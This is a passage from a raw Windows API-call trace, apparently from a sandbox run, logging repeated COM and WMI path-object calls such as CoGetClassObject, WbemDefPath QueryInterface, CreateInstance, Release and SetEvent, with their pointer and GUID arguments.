Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f852f0) returned 0x0 [0160.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f852f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0160.285] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f852f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df620) returned 0x0 [0160.285] WbemDefPath:IUnknown:Release (This=0x5f852f0) returned 0x0 [0160.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df620) returned 0x0 [0160.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0160.286] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0160.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0160.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0160.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f85300) returned 0x0 [0160.286] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f85300, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.286] WbemDefPath:IUnknown:Release (This=0x5f85300) returned 0x3 [0160.286] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0160.286] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0160.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0160.286] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0160.286] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0160.286] SetEvent (hEvent=0x508) returned 1 [0160.310] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f853d0) returned 0x0 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f853d0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0160.311] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f853d0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df4d0) returned 0x0 [0160.311] WbemDefPath:IUnknown:Release (This=0x5f853d0) returned 0x0 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df4d0) returned 0x0 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0160.311] WbemDefPath:IUnknown:AddRef (This=0x5df4d0) returned 0x3 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0160.311] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f853e0) returned 0x0 [0160.312] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f853e0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.312] WbemDefPath:IUnknown:Release (This=0x5f853e0) returned 0x3 [0160.312] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0160.312] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0160.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0160.312] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x2 [0160.312] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x1 [0160.312] SetEvent (hEvent=0x450) returned 1 [0160.314] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f853d0) returned 0x0 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f853d0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0160.315] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f853d0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df460) returned 0x0 [0160.315] WbemDefPath:IUnknown:Release (This=0x5f853d0) returned 0x0 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df460) returned 0x0 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0160.315] WbemDefPath:IUnknown:AddRef (This=0x5df460) returned 0x3 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0160.315] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f853f0) returned 0x0 [0160.315] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f853f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.316] WbemDefPath:IUnknown:Release (This=0x5f853f0) returned 0x3 [0160.316] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0160.316] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0160.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0160.316] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x2 [0160.316] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x1 [0160.316] SetEvent (hEvent=0x460) returned 1 [0160.318] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f853d0) returned 0x0 [0160.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f853d0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0160.318] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f853d0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df3f0) returned 0x0 [0160.318] WbemDefPath:IUnknown:Release (This=0x5f853d0) returned 0x0 [0160.318] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df3f0) returned 0x0 [0160.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0160.319] WbemDefPath:IUnknown:AddRef (This=0x5df3f0) returned 0x3 [0160.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0160.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0160.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6adc0) returned 0x0 [0160.319] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6adc0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.319] WbemDefPath:IUnknown:Release (This=0x5f6adc0) returned 0x3 [0160.319] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0160.319] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0160.319] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0160.319] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x2 [0160.319] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x1 [0160.319] SetEvent (hEvent=0x4ec) returned 1 [0161.533] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f852e0) returned 0x0 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f852e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0161.534] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f852e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df380) returned 0x0 [0161.534] WbemDefPath:IUnknown:Release (This=0x5f852e0) returned 0x0 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df380) returned 0x0 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0161.534] WbemDefPath:IUnknown:AddRef (This=0x5df380) returned 0x3 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f852c0) returned 0x0 [0161.534] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f852c0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.534] WbemDefPath:IUnknown:Release (This=0x5f852c0) returned 0x3 [0161.534] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0161.534] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0161.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0161.534] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x2 [0161.534] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x1 [0161.534] SetEvent (hEvent=0x4d0) returned 1 [0161.551] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3d40) returned 0x0 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3d40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0161.552] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3d40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df310) returned 0x0 [0161.552] WbemDefPath:IUnknown:Release (This=0x5fc3d40) returned 0x0 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df310) returned 0x0 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0161.552] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0161.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3d50) returned 0x0 [0161.552] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3d50, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.552] WbemDefPath:IUnknown:Release (This=0x5fc3d50) returned 0x3 [0161.552] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0161.552] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0161.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0161.553] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0161.553] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0161.553] SetEvent (hEvent=0x4d4) returned 1 [0161.557] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, 